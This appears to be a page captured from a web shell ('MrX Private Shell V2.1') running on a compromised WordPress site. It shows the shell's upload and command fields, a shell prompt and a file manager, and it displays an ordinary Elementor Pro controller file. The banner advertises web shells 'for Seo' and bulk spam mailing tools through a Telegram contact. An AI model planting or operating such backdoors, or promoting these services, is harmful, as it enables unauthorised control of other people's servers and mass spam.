__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
namespace ElementorPro\Modules\GlobalWidget\Data;

use Elementor\Data\Base\Controller as Controller_Base;
use ElementorPro\Plugin;

class Controller extends Controller_Base {

	public function get_name() {
		return 'global-widget/templates';
	}

	public function register_endpoints() {} // No endpoints.

	// TODO: After merging with 'REST API V2' add `get_collection_params`.
	public function get_items( $request ) {
		$result = [];
		$ids = $request->get_param( 'ids' );

		if ( ! empty( $ids ) ) {
			// TODO: This logic should be handled at REST API.
			$ids = explode( ',', $ids );

			foreach ( $ids as $template_id ) {
				if ( ! $this->is_allowed_to_read_template( $template_id ) ) {
					continue;
				}

				$template_data = Plugin::elementor()->templates_manager->get_template_data( [
					'source' => 'local',
					'template_id' => $template_id,
					'check_permissions' => false,
				] );

				if ( ! empty( $template_data ) ) {
					$result[ $template_id ] = $template_data['content'][0];
				}
			}
		}

		return $result;
	}

	public function get_permission_callback( $request ) {
		return current_user_can( 'edit_posts' );
	}

	private function is_allowed_to_read_template( $template_id ): bool {
		return $this->user_can_edit_template( $template_id ) || $this->is_published_and_unprotected( $template_id );
	}

	private function is_published_and_unprotected( int $template_id ): bool {
		$post_status = get_post_status( $template_id );

		return 'publish' === $post_status && ! post_password_required( $template_id );
	}

	private function user_can_edit_template( int $template_id ): bool {
		return current_user_can( 'edit_post', $template_id );
	}
}

Filemanager

Name Type Size Permission Actions
controller.php File 1.64 KB 0664
Filemanager